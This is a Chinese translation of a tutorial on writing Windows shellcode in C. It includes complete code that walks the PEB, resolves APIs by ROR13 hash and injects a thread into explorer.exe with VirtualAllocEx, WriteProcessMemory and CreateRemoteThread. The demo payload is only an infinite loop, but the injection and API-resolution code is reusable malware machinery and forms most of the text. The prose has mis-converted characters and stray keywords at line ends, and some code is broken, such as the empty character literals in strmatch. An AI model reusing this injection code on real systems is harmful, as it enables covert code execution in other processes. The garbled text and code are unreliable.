有時候程序員們須要寫一段獨立於位置操做的代碼,可看成一段數據寫到其餘進程或者網絡中去。該類型代碼在它誕生之初就被稱爲shellcode,在軟件中黑客們以此獲取到shell權限。方法就是經過這樣或那樣的惡意手法使得這段代碼得以執行,完成它的使命。固然了,該代碼的編寫僅能靠它本身,做者沒法使用現代軟件開發的實踐來推動shellcode的編寫。程序員
彙編經常使用於編寫shellcode,特別是對代碼大小挑剔的時候,彙編就是不錯的選擇。對我我的而言,多數項目都須要一段相似能夠注入到其餘進程的代碼。這時候我就不是特別在乎代碼大小了,反而是開發效率以及調試能力顯得尤其重要。一開始,我用NASM編寫獨立的彙編程序,把得到的輸出文件轉換爲C數組,而後整合到個人程序中。這正是你在milw0rm這樣的網站上所看到的,大多數exploit payload的獲取方式。最終我厭倦了這樣的方式,雖然很懷念NASM完備的功能,我仍是開始使用內聯彙編來解決問題。隨着經驗的積累,我發現了一個徹底可用的純C開發shellcode的方法,僅需2條內聯彙編指令。就開發速度和調試shellcode時的上下文而言,真的比單純使用匯編的方法有很大的改進。運用機器級的好比ollydbg這樣的調試器,我絕不含糊,但這相對於用Visual Studio調試器來調試C源碼,就是小菜一碟。shell
爲了確保能生成可用做shellcode這樣特定格式的代碼,咱們須要對Visual Studio作些特殊的配置。下面的各項配置,可能隨編譯器的變動而變動:編程
使用Release模式。近來編譯器的Debug模式可能產生逆序的函數,而且會插入許多與位置相關的調用。segmentfault
禁用優化。編譯器會默認優化那些沒有使用的函數,而那可能正是咱們所須要的。數組
禁用棧緩衝區安全檢查(/Gs)。在函數頭尾所調用的棧檢查函數,存在於二進制文件的某個特定位置,致使輸出的函數不能重定位,這對shellcode是無心義的。安全
#include <stdio.h> void shell_code() { for (;;) ; } void __declspec(naked) END_SHELLCODE(void) {} int main(int argc, char *argv[]) { int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code; // Show some info about our shellcode buffer printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode); // Now we can test out the shellcode by calling it from C! shell_code(); return 0; }
這裏所示例的shellcode除了一個無限循環,啥事也沒幹。不過有一點是比較重要的————放在shell_code函數以後的END_SHELLCODE。有了這個,咱們就能經過shell_code函數開頭和END_SHELLCODE函數開頭間的距離來肯定shellcode的長度了。還有,C語言在這裏所體現的好處就是咱們可以把程序自己看成一段數據來訪問,因此若是咱們須要把shellcode寫到另一份文件中,僅需簡單的調用fwrite(shell_code, sizeofshellcode, 1, filehandle)。網絡
Visual Studio環境中,經過調用shell_code函數,藉助IDE的調試技能,就能夠很容易的調試shellcode了。wordpress
在上面所示的第一個小案例中,shellcode僅用了一個函數,其實咱們可使用許多函數。只是全部的函數須要連續地存放在shell_code函數和END_SHELLCODE函數之間,這是由於當在內部函數間調用時,call指令老是相對的。call指令的意思是「從距這裏X字節的地方調用一個函數」。因此若是咱們把執行call的代碼和被調用的代碼都拷貝到其餘地方,同時又保證了它們間的相對距離,那麼連接時就不會出岔子。函數
傳統C源碼中,若是要用一段諸如ASCII字符的數據,能夠直接內嵌進去,無需擔憂數據的存放,好比: WinExec(「evil.exe」)。這裏的「evil.exe」字符串被存儲在C程序的靜態區域(極可能是二進制的.rdata節中),若是咱們把這段代碼拷貝出來,試圖將其注入到其餘進程中,就會因那段字符不存在於其餘進程的特定位置而失敗。傳統彙編編寫的shellcode能夠輕鬆的使用數據,這經過使用call指令獲取到指向代碼自己的指針,而這段代碼可能就混雜着數據。下面是一個使用匯編實現的shellcode方式的WinExec調用:優化
call end_of_string db 'evil.exe',0 end_of_string: call WinExec
這裏的第一個call指令跳過字符數據」evial.exe」,同時在棧頂存放了一個指向字符串的指針,稍後會被用做WinExec函數的參數。這種新穎的使用數據的方法有着很高的空間利用率,可是很惋惜在C語言中沒有與此等價的直接調用。在用C寫shellcode時,我建議使用棧區來存放和使用字符串。爲了使微軟編譯器在棧上動態的分配字符以便重定位,你須要以下處理:
char mystring[] = {'e','v','i','l','.','e','x','e',0}; winexec(mystring);
你會發現,我將字符串聲明爲字符數組的形式。若是我這樣寫char mystring[] = 「evil.exe」; 在老式的微軟編譯器中,它會經過一系列的mov指令來構成字符串,而如今僅會簡單的將字符串從內存中的固定位置拷貝到棧中,而若是須要重定位代碼,這就無效了。把兩種方法都試試,下載免費的IDA Pro版本看看它們的反彙編代碼。上面的賦值語句的反彙編應該看起來以下所示:
mov [ebp+mystring], 65h mov [ebp+mystring+1], 76h mov [ebp+mystring+2], 69h mov [ebp+mystring+3], 6Ch mov [ebp+mystring+4], 2Eh mov [ebp+mystring+5], 65h mov [ebp+mystring+6], 78h mov [ebp+mystring+7], 65h mov [ebp+mystring+8], 0
處理數據時,字符串真的是很頭疼的一件事。其餘好比結構體、枚舉、typedef聲明、函數指針啊這些,都能如你預期的那樣正常工做,你能夠利用C提供的全套功能。確保數據爲局部變量,一切都OK了。
我將這篇文章專一於Windows環境的shellcode。上面所說起的一些規則也適用於Unix系統。Windows環境下的shellcode會更復雜一點,由於咱們沒有一致公開的方法進行系統調用,就像在Unix中僅需幾條彙編代碼就能夠的那樣(對int 80h的調用)。咱們須要利用DLL中提供的API函數,來進行系統調用作些像讀寫文件、網絡通訊這樣的事。這些DLL最終會進行必要的系統調用,而它的實現細節幾乎隨着每次Windows的發佈而變化。像《The Shellcoder’s Handbook》這樣的標榜性著做描繪了搜尋內存中DLL和函數的方法。若是想將shellcode作到在不一樣Windows版本間的可移植性,有兩個函數是必須的:一、查找kernel32.dll的函數;二、實現GetProcAddress()函數或者查找GetProcAddress()地址的函數。我所提供的實現是基於hash的而非字符串的比較,下面我將提供用於shellcode的hash實現,並作個簡短的說明。
在shellcode中,使用hash進行函數的查詢是比較廣泛的。較流行的ROR13 hash方法是最經常使用的,它的實現也用在了《The Shellcoder’s Handbook》中。它的基本思想是當咱們要查詢一個名爲「MyFunction」的函數時,不是將字符串存放在內存中,對每一個函數名進行字符串的比對,而是生成一個32位的hash值,將每一個函數名進行hash比對。這並不能減少運行時間,可是能夠節省shellcode的空間,也具備必定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13 hash實現:
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) { DWORD hash = 0; while (*unicode_string != 0) { DWORD val = (DWORD)*unicode_string++; hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val; } return hash; } DWORD __stdcall ror13_hash(const char *string) { DWORD hash = 0; while (*string) { DWORD val = (DWORD) *string++; hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val; } return hash; }
有3個鏈表能夠用來描述內存中加載的DLL:
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(進程環境塊)中。在你的shellcode中,用哪一個均可以,我所用的是InMemoryOrderModuleList。須要以下的兩條內聯彙編來訪問PEB:
PPEB __declspec(naked) get_peb(void) { __asm { mov eax, fs:[0x30] ret } }
如今咱們已經獲取了PEB,能夠查詢內存中的DLL了。惟一的一直存在於Windows進程內存中的DLL是ntdll.dll,但kernel32.dll會更方便一點,而且在99.99%的Windows進程中(Win32子系統)均可用。下面我提供的代碼實現會查詢module列表,利用unicode的ROR13 hash值查到kernel32.dll。
HMODULE __stdcall find_kernel32(void) { return find_module_by_hash(0x8FECD63F); } HMODULE __stdcall find_module_by_hash(DWORD hash) { PPEB peb; LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; peb = get_peb(); module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; first_mod = module_ptr; do { if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) return (HMODULE)module_ptr->Reserved2[0]; else module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; } while (module_ptr && module_ptr != first_mod); // because the list wraps, return INVALID_HANDLE_VALUE; }
這裏所提供的find_module_by_hash函數能夠利用dll名稱的hash值找到任意的加載在內存中的DLL。若是要加載一個新的本來再也不內存中的DLL,就須要使用kernel32.dll中的LoadLibrary函數。要找到LoadLibrary函數,咱們就須要實現GetProcAddress函數。下面的代碼實現利用函數名的hash值在加載的dll中查找函數:
FARPROC __stdcall find_function(HMODULE module, DWORD hash) { IMAGE_DOS_HEADER *dos_header; IMAGE_NT_HEADERS *nt_headers; IMAGE_EXPORT_DIRECTORY *export_dir; DWORD *names, *funcs; WORD *nameords; int i; dos_header = (IMAGE_DOS_HEADER *)module; nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); names = (DWORD *)((char *)module + export_dir->AddressOfNames); funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); for (i = 0; i < export_dir->NumberOfNames; i++) { char *string = (char *)module + names[i]; if (hash == ror13_hash(string)) { WORD nameord = nameords[i]; DWORD funcrva = funcs[nameord]; return (FARPROC)((char *)module + funcrva); } } return NULL; }
如今咱們能夠這樣查找函數:
HMODULE kern32 = find_kernel32(); FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E); // the hash of LoadLibraryA
最終成品
如今我將以完整的C程序的方式來展現上面所說起的內容。代碼執行時,將生成名爲shellcode.bin的文件,它就存儲着shellcode。該shellcode能夠向explorer.exe注入一個線程,實現無限循環,直至消耗完cpu。
#include <stdio.h> #include <Windows.h> #include <winternl.h> #include <wchar.h> #include <tlhelp32.h> PPEB get_peb(void); DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string); DWORD __stdcall ror13_hash(const char *string); HMODULE __stdcall find_module_by_hash(DWORD hash); HMODULE __stdcall find_kernel32(void); FARPROC __stdcall find_function(HMODULE module, DWORD hash); HANDLE __stdcall find_process(HMODULE kern32, const char *procname); VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size); BOOL __stdcall strmatch(const char *a, const char *b); void __stdcall shell_code() { HMODULE kern32; DWORD *dwptr; HANDLE hProcess; char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0}; char code[] = {0xEB, 0xFE}; kern32 = find_kernel32(); hProcess = find_process(kern32, (char *)procname); inject_code(kern32, hProcess, code, sizeof code); } HANDLE __stdcall find_process(HMODULE kern32, const char *procname) { FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED); FARPROC process32first = find_function(kern32, 0x3249BAA7); FARPROC process32next = find_function(kern32, 0x4776654A); FARPROC openprocess = find_function(kern32, 0xEFE297C0); FARPROC createprocess = find_function(kern32, 0x16B3FE72); HANDLE hSnapshot; PROCESSENTRY32 pe32; hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return INVALID_HANDLE_VALUE; pe32.dwSize = sizeof( PROCESSENTRY32 ); if (!process32first(hSnapshot, &pe32)) return INVALID_HANDLE_VALUE; do { if (strmatch(pe32.szExeFile, procname)) { return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); } } while (process32next(hSnapshot, &pe32)); return INVALID_HANDLE_VALUE; } BOOL __stdcall strmatch(const char *a, const char *b) { while (*a != '' && *b != '') { char aA_delta = 'a' - 'A'; char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a; char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b; if (a_conv != b_conv) return FALSE; a++; b++; } if (*b == '' && *a == '') return TRUE; else return FALSE; } VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size) { FARPROC virtualallocex = find_function(kern32, 0x6E1A959C); FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1); FARPROC createremotethread = find_function(kern32, 0x72BD9CDD); LPVOID remote_buffer; DWORD dwNumBytesWritten; remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (remote_buffer == NULL) return; if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten)) return; createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL); } HMODULE __stdcall find_kernel32(void) { return find_module_by_hash(0x8FECD63F); } HMODULE __stdcall find_module_by_hash(DWORD hash) { PPEB peb; LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; peb = get_peb(); module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; first_mod = module_ptr; do { if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) return (HMODULE)module_ptr->Reserved2[0]; else module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; } while (module_ptr && module_ptr != first_mod); // because the list wraps, return INVALID_HANDLE_VALUE; } PPEB __declspec(naked) get_peb(void) { __asm { mov eax, fs:[0x30] ret } } DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) { DWORD hash = 0; while (*unicode_string != 0) { DWORD val = (DWORD)*unicode_string++; hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val; } return hash; } DWORD __stdcall ror13_hash(const char *string) { DWORD hash = 0; while (*string) { DWORD val = (DWORD) *string++; hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val; } return hash; } FARPROC __stdcall find_function(HMODULE module, DWORD hash) { IMAGE_DOS_HEADER *dos_header; IMAGE_NT_HEADERS *nt_headers; IMAGE_EXPORT_DIRECTORY *export_dir; DWORD *names, *funcs; WORD *nameords; int i; dos_header = (IMAGE_DOS_HEADER *)module; nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); names = (DWORD *)((char *)module + export_dir->AddressOfNames); funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); for (i = 0; i < export_dir->NumberOfNames; i++) { char *string = (char *)module + names[i]; if (hash == ror13_hash(string)) { WORD nameord = nameords[i]; DWORD funcrva = funcs[nameord]; return (FARPROC)((char *)module + funcrva); } } return NULL; } void __declspec(naked) END_SHELLCODE(void) {} int main(int argc, char *argv[]) { FILE *output_file = fopen("shellcode.bin", "w"); fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file); fclose(output_file); return 0; }
原文 Writing Shellcode with a C Compiler
翻譯 徐文博
via idf.cn